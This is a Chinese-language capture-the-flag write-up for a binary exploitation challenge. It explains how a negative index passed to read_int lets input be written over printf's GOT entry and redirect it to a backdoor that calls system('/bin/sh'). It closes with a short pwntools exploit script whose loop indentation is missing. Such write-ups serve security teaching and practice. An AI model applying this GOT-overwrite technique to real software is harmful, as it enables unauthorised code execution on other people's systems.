程序大概就是这么回事,read_int顾名思义,就是一个读入int的函数。虽然题目中要求我们输入的是一个正数,但是我们可以输入负数,可以将其当作一个突破点。
if(v5<=23)内部的read_n,第一个参数是输入的字符串存入的首地址,第二个参数是读入的长度。这个0x6020e0非常可疑,我们可以先进入其中查看。
发现这是一个程序中的地址,因此在进行字符串读入的时候,字符串被存入16*v5+0x6020E0中,由于我们可以控制v5,因此我们可以考虑对got表进行操作,劫持一个库函数执行system的功能。
本来执行system函数需要我们找到system的偏移量和构造/bin/sh的shellcode,但是查看程序所有函数之后,发现backdoor给予了我们一个system("/bin/sh"),因此我们只需将一个函数劫持为backdoor即可
这里我选择劫持printf函数,由于printf函数的偏移量存在ox602040,故计算好偏移量即可
from pwn import *
context.log_level='debug'
p=process('./CSTW2')
#p=remote('118.24.3.214',11000)
for i in range(5):
p.sendline('')
p.sendlineafter('>','-9')
p.sendlineafter('>',p64(0x40096A))
p.interactive()